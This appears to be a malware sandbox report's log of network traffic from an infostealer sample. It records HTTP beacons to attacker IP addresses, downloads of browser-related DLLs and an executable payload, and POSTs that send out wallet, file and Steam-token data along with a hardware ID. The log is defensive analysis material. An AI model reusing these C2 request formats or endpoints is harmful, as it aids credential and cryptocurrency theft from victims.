Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 30528Content-Type: multipart/form-data; boundary=------------------------dP7A5xmeBBJx9GOcwKoYJXData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 50 37 41 35 78 6d 65 42 42 4a 78 39 47 4f 63 77 4b 6f 59 4a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 65 62 65 74 69 73 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 23 e5 f6 b7 fe d6 10 64 af ad 72 3b 35 5f 08 1b 74 26 1e b0 72 d4 b3 2d 17 6a 7b ae 1e 82 71 d7 20 b7 26 09 2a 62 57 01 17 21 f1 a3 ec ad e5 8b 86 d6 62 83 86 4a 26 a2 d9 d2 e3 95 c4 f8 16 c1 21 34 09 f7 ff 3a d5 61 e3 fc bc 52 36 af 84 b7 28 0f d8 8d 3f 9d d0 f4 d8 62 c2 4e e4 46 9a 7e f9 e4 46 ed b1 a1 e7 db d9 51 96 00 c1 2d bf fb 74 46 2d 07 e3 88 5b 71 8a 30 7b be 5e 8f 69 af c0 07 d0 fa 9c 7f 12 ad 68 33 13 1f 04 2a 97 8a e0 9d aa af 58 03 ca f9 8d 7e 17 03 03 41 d1 73 fd 49 eb 40 e9 4a 37 1d 7d c9 0b 7a 8b 13 f5 6a ff 5e fa b7 68 3e a6 c5 d7 bc ce 09 0d 61 c5 26 d2 b7 83 53 4a 3b bb f4 3e c9 68 d6 2b 14 93 12 b1 d5 60 04 7f 93 1d 05 e3 74 6b 9c e8 48 04 db a9 e7 21 b5 38 ab 36 83 dd b7 fd 82 08 39 2f 8e 11 82 1f 1f 3d 18 d1 7c 32 41 71 16 c0 8c 30 cc 0d 93 8e b2 55 92 d6 f4 8f d0 5d b6 ca 01 fe 9d fc bd 1a 53 0e 36 59 b2 cd ba 14 ab e8 b1 6d 21 b8 ea 7e 9e fa cb 17 ab 4f b9 b0 cd ba 1a 60 bb 70 13 b1 16 56 fb 99 4a b1 eb 6d ab 41 16 20 2f a9 f0 95 3e f0 f3 c3 8d 02 c8 01 9d f3 dc f7 14 e2 be d5 4a 7a 8d 92 26 a2 7d a1 cf 98 f9 2a 46 49 01 63 e2 14 6e 9e ee 5b cd 34 0b 71 57 25 a2 8a 42 71 71 e6 02 21 0d c4 22 76 39 fb eb d0 12 98 8a 80 05 1d 1e a2 d0 0a 74 24 65 72 6f e1 23 58 5c 73 7c 96 1d 39 bc 59 1a 44 7f 8a 81 08 bc 15 3f 8d 53 47 b9 86 6e e6 0e b7 f6 22 99 37 43 3e bb b1 7d 45 85 3d 08 b1 b2 04 f9 50 16 6b de d8 e4 83 41 24 71 42 65 12 1e 40 85 0b 41 5d 80 1f 63 28 c4 65 2a e2 c5 49 bf a8 08 88 92 cf 29 fa 47 86 4b 6a da 46 be 30 c2 8c 03 94 c8 b5 32 68 69 f7 0b ae 16 49 47 6a 6e eb ad 80 8a bc 69 8a 97 18 ba c3 b6 61 38 79 c0 7c 3c f9 c1 e2 33 13 c7 ad cd 29 5d 76 a7 a6 07 98 ff 44 75 5a 90 6d a9 b3 af c2 09 6b ae 3f 1b 28 2a e1 a5 c6 31 12 72 79 d4 6e 6f 0e d6 f9 22 78 cd d6 bc 2c aa ce 05 52 14 a7 8a 2b f3 7a d4 cd a0 b3 a5 f0 a8 b8 97 12 89 4c d9 21 cb 0f b2 d3 59 7d 3d 26 3e 02 7e e8 93 a7 db 00 1b 05 25 a2 85 46 a1 ae 06 fc 4b b1 6a c6 25 8e 66 eb e1 2a 30 ba c4 ae fe 16 c9 83 6e 06 9a c7 84 0a d3 13 b8 72 8f 41 57 04 f3 ed 2a 75 52 2f 4e fe 65 c1 fb 8c 70 13 d0 8a b0 cb ac b0 2b d7 80 45 b5 64 25 04 d9 af 74 cd 43 5d cd c7 2d cd 19 f3 f5 51 ca 11 52 a2 3e 33 8e 98 5c dc e5 28 1c d9 c1 6f 17 5d 72 66 3b ff d7 3b 11 2a 7d 55 2c 8c ab e4 4e 95 a6 c0 cf 15 82 f4 26 c0 45 85 e2 16 64 f8 d5 c7 db c6 8e ff 39 21 ca 97 d8 cf 22 56 23 e0 0b 7c ee c7 e6 58 00 6b aa 17 b0 36
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJKKJJDAAAAAKFHJJDGHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="message"wallets------DGDBKFBAKFBFHIECFBFI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEHDBGDHDAECBGDHJKFHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="message"files------FIEHDBGDHDAECBGDHJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 2d 2d 0d 0a Data Ascii: ------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file"------JJJEBGDAFHJEBGDGIJDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"ybncbhylepme------AKKFHDAKECFHIDHJDAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"ybncbhylepme------AKKFHDAKECFHIDHJDAAA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIJJDGDHDGDAKFIECFIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 2d 2d 0d 0a Data Ascii: ------EHIJJDGDHDGDAKFIECFIContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------EHIJJDGDHDGDAKFIECFIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EHIJJDGDHDGDAKFIECFI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEGDGCGDAKEBFIJECGHost: 185.215.113.206Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 46 31 37 34 37 34 36 37 41 42 36 39 31 36 31 30 39 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 2d 2d 0d 0a Data Ascii: ------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="hwid"0EF1747467AB69161091------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="build"mars------AKKEGDGCGDAKEBFIJECG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIIEGIDHCBFIDHJDGDBHost: 185.215.113.206Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 46 31 37 34 37 34 36 37 41 42 36 39 31 36 31 30 39 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 2d 2d 0d 0a Data Ascii: ------BGIIEGIDHCBFIDHJDGDBContent-Disposition: form-data; name="hwid"0EF1747467AB69161091------BGIIEGIDHCBFIDHJDGDBContent-Disposition: form-data; name="build"mars------BGIIEGIDHCBFIDHJDGDB--
